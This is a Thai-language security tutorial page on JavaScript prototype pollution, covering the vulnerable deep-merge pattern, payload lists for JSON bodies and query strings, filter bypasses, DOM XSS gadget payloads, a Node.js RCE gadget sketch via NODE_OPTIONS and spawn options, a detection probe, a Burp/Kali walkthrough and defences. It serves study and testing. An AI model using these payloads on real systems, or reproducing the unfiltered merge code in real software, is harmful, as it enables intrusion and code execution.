คลัง
web

Prototype Pollution

Prototype Pollution เป็นช่องโหว่เฉพาะ JavaScript ที่ผู้โจมตีแก้ prototype ของ Object ส่วนกลาง (Object.prototype) ทำให้ทุก object ในโปรแกรมสืบทอด property ที่ใส่เข้าไป ตัว pollution เองไม่อันตราย จนกว่าจะมี 'gadget' — โค้ดในแอปที่อ่าน property นั้นแล้วใช้ในทางอันตราย นำไปสู่ DOM XSS (client), auth bypass, หรือ RCE (Node.js) บทนี้ครอบคลุมทั้ง client-side และ server-side gadget

Advanced#prototype-pollution#javascript#nodejs#__proto__#constructor#gadget#rce#web

1. หลักการ — prototype chain

ใน JS ทุก object สืบทอด property จาก prototype ของมัน object literal ทั่วไปชี้ไป Object.prototype เมื่ออ่าน property ที่ object ไม่มี engine จะไต่ prototype chain ขึ้นไปหา ถ้าโค้ด merge/clone/set object จาก input ผู้ใช้แบบ recursive โดยไม่กรอง key พิเศษอย่าง __proto__, constructor, prototype ผู้โจมตีจะเขียน property ลง Object.prototype ได้ ซึ่งทุก object จะสืบทอดไปทันที — เปลี่ยนพฤติกรรมทั้งแอป

กลไก __proto__ pollution
// setter ที่ไม่กรอง key (เช่นใน deep merge)
function merge(dst, src) {
  for (const k in src) {
    if (typeof src[k] === 'object' && src[k] !== null) {
      if (!dst[k]) dst[k] = {};
      merge(dst[k], src[k]);        // recurse ลง __proto__ ได้
    } else {
      dst[k] = src[k];
    }
  }
}

merge({}, JSON.parse('{"__proto__":{"isAdmin":true}}'));

// ผลลัพธ์: เขียนลง Object.prototype
({}).isAdmin;          // true  ← object ว่างเปล่าก็ได้ค่า
'anything'.isAdmin;    // true  ← สืบทอดกันหมด
จุดอ่อนอยู่ที่ 'dst[k]' เมื่อ k === '__proto__' → dst.__proto__ = Object.prototype จึงเขียนทับ global
Object.prototype ถูก pollute → ทุก object สืบทอด
Object.prototype + isAdmin = true (polluted) user = {} config = {} opts = {} ทุก object อ่าน .isAdmin ได้ true (inherited)
__proto__ เป็น accessor พิเศษของ Object.prototype ส่วน constructor.prototype เป็นเส้นทางอ้อมไปที่เดียวกัน ใช้เมื่อ __proto__ ถูก block

2. Sources — จุดที่ input ไหลเข้า

Sourceรูปแบบ payloadบริบท
JSON body ที่ถูก merge{"__proto__":{"x":"y"}}server-side (Node.js)
Query string parser?__proto__[x]=y หรือ ?a[__proto__][x]=yclient + server (qs, express)
URL hash / fragment#__proto__[x]=yclient-side (SPA parse hash)
Form / urlencoded__proto__[x]=yserver-side body parser
constructor path{"constructor":{"prototype":{"x":"y"}}}เมื่อ __proto__ ถูก block
payload หลายรูปแบบ
# JSON (server-side merge)
{"__proto__":{"isAdmin":true}}
{"constructor":{"prototype":{"isAdmin":true}}}

# query string (URL / hash)
?__proto__[isAdmin]=true
?__proto__.isAdmin=true
?a[__proto__][isAdmin]=true
?constructor[prototype][isAdmin]=true

# nested (bypass บาง filter)
?__proto__[__proto__][x]=y

3. การตรวจจับ

  1. 1หาจุดที่แอป merge/extend/clone object จาก input (lodash merge/set/defaultsDeep เก่า, jQuery $.extend(true,...), Object.assign แบบ deep, query parser)
  2. 2client-side: ยิง ?__proto__[test]=polluted แล้วเปิด DevTools console เช็ค Object.prototype.test
  3. 3server-side: ส่ง {"__proto__":{"test":"x"}} ใน JSON body แล้วดูพฤติกรรม/error เปลี่ยน หรือ probe gadget ที่รู้
  4. 4ดู library เวอร์ชันเก่าที่มี CVE prototype pollution (lodash <4.17.12, minimist <1.2.6, jquery <3.4.0, set-value)
  5. 5ใช้ DOM Invader (Burp browser) เปิด 'Prototype pollution' มันจะ auto-probe source + หา gadget ให้
ยืนยัน pollution ใน console (client-side)
// หลังส่ง ?__proto__[test]=polluted แล้วโหลดหน้า
Object.prototype.test         // "polluted"  ← ยืนยันสำเร็จ
({}).test                     // "polluted"

// ทดสอบ constructor path
// ?constructor[prototype][test2]=1
({}).test2                    // "1"
ค่าจาก query string จะเป็น string เสมอ ("true" ไม่ใช่ boolean true) — สำคัญตอนหา gadget ที่เทียบค่า

4. Client-side gadgets → DOM XSS

gadget ฝั่ง client คือ property ที่ library/โค้ดหน้าเว็บอ่านจาก config object แล้วเอาไปใส่ DOM/สร้าง script เมื่อ property นั้นปกติ 'undefined' แต่ pollution ทำให้มีค่า เราจึงฉีดค่าที่กลายเป็น XSS ได้

gadget ยอดฮิต — สร้าง XSS ผ่าน config property
# jQuery / template ที่อ่าน options.* ที่ไม่มีค่า default
?__proto__[hitCallback]=alert(1)          # Google Analytics gadget
?__proto__[sequential]=x&__proto__[url]=... # บาง lib โหลด script จาก url

# gadget ที่ inject attribute → XSS
?__proto__[src]=data:,alert(1)
?__proto__[srcdoc]=<script>alert(1)</script>
?__proto__[transport_url]=data:,alert(1)   # DOMPurify/config gadget

# gadget class-based
?__proto__[html]=<img src=x onerror=alert(1)>
gadget แต่ละตัวผูกกับ library เฉพาะ — DOM Invader จะบอกว่าหน้านี้มี gadget อะไรใช้ได้
PortSwigger DOM Invader (ใน Burp's Chromium) มี toggle 'Prototype pollution' + 'DOM XSS' — มันจะ inject property ทดสอบทั้งชุด แล้วรายงาน source→gadget→sink ให้อัตโนมัติ เร็วกว่าหาเอง

5. Server-side gadgets → RCE (Node.js)

ฝั่ง server อันตรายกว่ามาก เพราะ gadget สามารถนำไปสู่ RCE — เมื่อ property ที่ pollute ถูกส่งเป็น option ให้ child_process, template engine, หรือ module loader

Sinkproperty ที่ polluteผล
child_process.spawn/execshell, NODE_OPTIONS, envRCE ผ่าน option ที่ inject
child_process fork (spawn internal)__proto__.shell + argv0RCE คลาสสิก (PortSwigger lab)
template engine (ejs, pug, handlebars)outputFunctionName, compileDebugSSTI → RCE
require / module resolutionmain, exports pathsโหลด module ที่ควบคุม
JSON schema / validationtype coercionbypass validation / logic
Server-side RCE gadget — spawn NODE_OPTIONS (แนวคิด)
{
  "__proto__": {
    "argv0": "node",
    "shell": "node",
    "NODE_OPTIONS": "--require /proc/self/environ"
  }
}

// เมื่อแอปเรียก child_process.spawn/fork ภายหลัง
// option เหล่านี้ถูกอ่านจาก Object.prototype → รันโค้ดที่เราคุม
// (เช่น --require ชี้ไฟล์ที่มี payload, หรือ eval ผ่าน env)
gadget จริงขึ้นกับว่าแอปเรียก child_process/template ยังไง; PortSwigger 'Server-side prototype pollution' labs สาธิต spawn + execArgv/NODE_OPTIONS
ตรวจ server-side pollution แบบ blind (status/error probe)
POST /api/update HTTP/1.1
Content-Type: application/json

{"__proto__":{"json spaces":10}}

# gadget Express: ถ้า pollute "json spaces" สำเร็จ
# → response JSON จะถูก indent 10 space (สังเกตได้จาก body)
# ใช้เป็น oracle ยืนยันว่า server-side pollution ทำงาน โดยไม่ต้อง RCE
เทคนิค 'detection without gadget': หา property ที่ framework อ่านแล้วเปลี่ยน response ที่มองเห็นได้ (json spaces, status, content-type)

6. Decision flow

ไล่หา prototype pollution → impact
มีจุด merge/clone/parse object จาก input ไหม?
JSON body, query, hash
inject __proto__[test]=x → ยืนยัน pollution
เช็ค ({}).test
__proto__ ถูก block?
blockลอง constructor[prototype][x] / nested __proto__[__proto__]
ผ่าน→ หา gadget
client หรือ server?
clientDOM Invader หา gadget → DOM XSS
server (Node)หา gadget child_process/template

7. ข้อผิดพลาด & troubleshooting

  • pollute แล้วไม่มีผล: pollution มี แต่ไม่มี gadget — pollution เดี่ยวๆ ไม่ใช่ impact ต้องหา sink
  • ค่าเป็น string ไม่ใช่ boolean: query string ให้ "true" ไม่ใช่ true — gadget ที่ === true จะไม่ trigger; ใช้ JSON body ถ้าต้อง type จริง
  • Object.create(null) / Map: object ที่ไม่มี prototype ไม่โดน — sink บางตัวจึงปลอดภัยอยู่แล้ว
  • pollution ถูก reset ต่อ request (server): Node process เดียวจำ pollution ข้าม request จนกว่า restart — แต่ถ้า worker หลายตัว/round-robin อาจไม่โดน worker เดิม
  • __proto__ ถูก strip โดย body parser: ลอง constructor.prototype path หรือ nested
  • ลืมว่า framework sanitize: Express/qs ใหม่ป้องกัน __proto__ บางส่วน ตรวจเวอร์ชัน

8. การป้องกัน

  • Object.freeze(Object.prototype) — กันเขียนทับ prototype (ระวัง break lib บางตัว)
  • กรอง key __proto__, constructor, prototype ก่อน merge/set
  • ใช้ Object.create(null) หรือ Map สำหรับ dictionary ที่รับ input (ไม่มี prototype chain)
  • ใช้ JSON.parse reviver หรือ schema validation (ajv) ที่ปฏิเสธ key อันตราย
  • อัปเดต library ที่มี CVE (lodash, minimist, set-value, jquery) เป็นเวอร์ชันที่แก้แล้ว
  • หลีกเลี่ยง deep merge จาก user input; ถ้าจำเป็นใช้ lib ที่ freeze/กรอง (เช่น lodash รุ่นแก้แล้ว)
  • ตั้ง --disable-proto=delete flag ของ Node เพื่อเอา __proto__ ออก

9. Quick Reference

  • เฉพาะ JS/Node.js; เกิดจาก merge/clone/set ที่ไม่กรอง __proto__
  • payload: {"__proto__":{"k":"v"}} หรือ constructor.prototype
  • query: ?__proto__[x]=1 / ?constructor[prototype][x]=1
  • ยืนยัน client: เช็ค ({}).x ใน console; server: json spaces oracle
  • ต้องมี gadget ถึงมี impact: DOM XSS (client) / RCE (server)
  • server RCE: child_process (shell/NODE_OPTIONS/argv0), template engine
  • เครื่องมือ: DOM Invader (client), วิเคราะห์ source (server)
  • bypass filter: constructor path, nested __proto__[__proto__]
  • ป้องกัน: freeze prototype, กรอง key, Object.create(null)/Map, อัปเดต lib

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเจอเว็บที่รับ JSON body หรือ query แบบซับซ้อน (มี object ซ้อน) มีแค่ Kali เปล่าๆ ไล่หา prototype pollution ทีละขั้น

  1. 1เปิด Burp Suite's Chromium (Burp → Proxy → Open Browser) เพื่อใช้ DOM Invader ได้ทันที
  2. 2ใน Burp settings เปิด 'DOM Invader' แล้ว toggle 'Prototype pollution' ให้ทำงาน
  3. 3เข้าเว็บเป้าหมายผ่าน browser ตัวนั้น แล้วปล่อยให้ DOM Invader สแกน source อัตโนมัติ (มันจะ inject __proto__ ให้เอง)
  4. 4ถ้าไม่มี DOM Invader ให้ทดสอบมือ: เปิด URL พร้อม ?__proto__[test]=polluted แล้วเปิด DevTools Console
  5. 5พิมพ์ใน console: Object.prototype.test — ถ้าได้ค่า 'polluted' กลับมา = pollution สำเร็จฝั่ง client
  6. 6ถ้า __proto__ ถูก block ลอง ?constructor[prototype][test]=polluted แทน
  7. 7สำหรับ server-side: ส่ง JSON body {"__proto__":{"json spaces":10}} ไป endpoint ที่ merge object แล้วดูว่า response JSON ถูก indent เปลี่ยนไหม (Express oracle)
  8. 8ถ้ายืนยัน pollution ได้ ให้หา gadget: บน client ลองพวก hitCallback/src/srcdoc, บน server ดูว่ามีการเรียก child_process/template engine ต่อไหม
  9. 9บันทึกทุกขั้นเป็นหลักฐาน เพราะ pollution เดี่ยวๆ ไม่มี impact จนกว่าจะเจอ gadget จริง
Decision flow — จับมือทำ Prototype Pollution
หาจุด merge/clone/parse object จาก input
JSON body, query, hash
inject __proto__[test]=polluted แล้วเช็ค Object.prototype.test ใน console
pollution สำเร็จไหม?
✅ ({}).test ได้ค่า→ หา gadget ต่อ
❌ __proto__ ถูก block/ไม่มีผล→ ลอง constructor[prototype][x]
ลอง constructor path สำเร็จไหม?
✅ สำเร็จ→ หา gadget ต่อ
❌ ยังไม่ได้→ ตันสนิท (ไม่ใช่ prototype pollution)
client หรือ server-side?
✅ client — DOM Invader หา gadget→ DOM XSS
✅ server (Node) — หา gadget child_process/template→ RCE
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ตรวจ client-side pollution + หา gadget อัตโนมัติBurp's Chromium (DOM Invader)เปิดใช้งานใน Burp settings-
Proxy/intercept requestBurp Suite Community--
ทดสอบ payload ใน consoleFirefox/Chromium DevTools--
ส่ง JSON payload ทดสอบ server-sidecurl -X POST--
ตรวจ library เวอร์ชันที่มี CVE-retire.js (npm install -g retire)-
encode/สร้าง payload nested--CyberChef
🚑 ถ้าตันสนิท ลองท่าถัดไป: XSS — ถ้า pollute สำเร็จแต่หา client-side gadget ไม่เจอเลย ให้ลองมองหา DOM XSS แบบปกติแทน; SSTI — ถ้า server-side pollution ยืนยันได้และ gadget ชี้ไปที่ template engine (ejs/pug); Command Injection — ถ้า gadget ชี้ไปที่ child_process ตรงๆ ให้ต่อยอดความรู้เรื่อง command injection

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้